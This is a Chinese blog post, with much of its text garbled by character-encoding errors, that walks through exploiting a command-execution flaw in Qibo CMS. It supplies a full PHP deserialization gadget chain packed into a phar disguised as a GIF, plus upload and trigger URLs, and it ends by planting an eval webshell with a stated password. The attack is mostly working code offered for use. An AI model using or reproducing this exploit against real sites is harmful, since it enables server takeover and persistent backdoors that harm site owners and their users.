[齊博CMS系統(tǒng)存在命令執(zhí)行漏洞]

【技術(shù)資料】

漏洞利用過程：

1 首先爆出網(wǎng)站跟路徑：

訪問：

/index.php/cms/1

會(huì)在debug里看到網(wǎng)站根路徑！ 如果開了debug的話！

然后根據(jù)網(wǎng)站根路徑修改poc! 看poc里的注釋！

2 利用poc生成 phar文件

poc

<?php namespace think\process\pipes {class Windows {private $files = [];public function __construct($files){$this->files = [$files]; //$file => /think/Model的子類new Pivot(); Model是抽象類}} }namespace think {abstract class Model{protected $append = [];protected $error = null;public $parent;function __construct($output, $modelRelation){$this->parent = $output; //$this->parent=> think\console\Output;$this->append = array("xxx"=>"getError"); //調(diào)用getError 返回this->error$this->error = $modelRelation; // $this->error 要為 relation類的子類，并且也是OnetoOne類的子類==>>HasOne}} }namespace think\model{use think\Model;class Pivot extends Model{function __construct($output, $modelRelation){parent::__construct($output, $modelRelation);}} }namespace think\model\relation{class HasOne extends OneToOne {} } namespace think\model\relation {abstract class OneToOne{protected $selfRelation;protected $bindAttr = [];protected $query;function __construct($query){$this->selfRelation = 0;$this->query = $query; //$query指向Query$this->bindAttr = ['xxx'];// $value值，作為call函數(shù)引用的第二變量}} }namespace think\db {class Query {protected $model;function __construct($model){$this->model = $model; //$this->model=> think\console\Output;}} } namespace think\console{class Output{private $handle;protected $styles;function __construct($handle){$this->styles = ['getAttr'];$this->handle =$handle; //$handle->think\session\driver\Memcached}} } namespace think\session\driver {class Memcached{protected $handler;function __construct($handle){$this->handler = $handle; //$handle->think\cache\driver\File}} }namespace think\cache\driver {class File{protected $options=null;protected $tag;function __construct(){$this->options=['expire' => 3600,'cache_subdir' => false,'prefix' => '',//'path' => '1111.php','path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWyd1cGxvYWQnXSk7ZWNobygidXBsb2FkIik7Pz4/../../../../../../../../../../../phpstudy_pro/WWW/aaa/x1/public/b.php', //win/*/phpstudy_pro/WWW/aaa/x1/public/b.php /phpstudy_pro/WWW/aaa/x1/是網(wǎng)站根路徑，要根據(jù)不同服務(wù)器進(jìn)行替換！ /public/b.php是webshell的位置 */'data_compress' => false,];$this->tag = 'xxx';}} }namespace {$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());$Output = new think\console\Output($Memcached);$model = new think\db\Query($Output);$HasOne = new think\model\relation\HasOne($model);$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne)); // echo urlencode(serialize($window));$o = $window;$filename = '2.phar';// 后綴必須為phar，否則程序無法運(yùn)行file_exists($filename) ? unlink($filename) : null;$phar=new Phar($filename);$phar->startBuffering();$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");$phar->setMetadata($o);$phar->addFromString("foo.txt","bar");$phar->stopBuffering(); }

3 生成phar文件 將后綴改成gif!

訪問 會(huì)員中心：

點(diǎn)擊修改個(gè)人資料：

用burp抓取 文件上傳路徑：

4 再訪問下面url寫入webshell：

/index.php/index/Image/headers?url=phar://./public/uploads/pop/20210915/2_20210915195309ac45c.gif

后面是剛剛上傳的gif文件！
訪問完成后，即可在網(wǎng)站目錄下生成webshell.

5 訪問webshell

/public/b.php12ac95f1498ce51d2d96a249c09c1998.php

shell寫入成功！ 密碼是upload

總結(jié)

一直挖洞一直爽！

點(diǎn)擊獲取【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】一起挖洞一起爽吧！！！

總結(jié)

以上是生活随笔為你收集整理的某cms代码审计的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。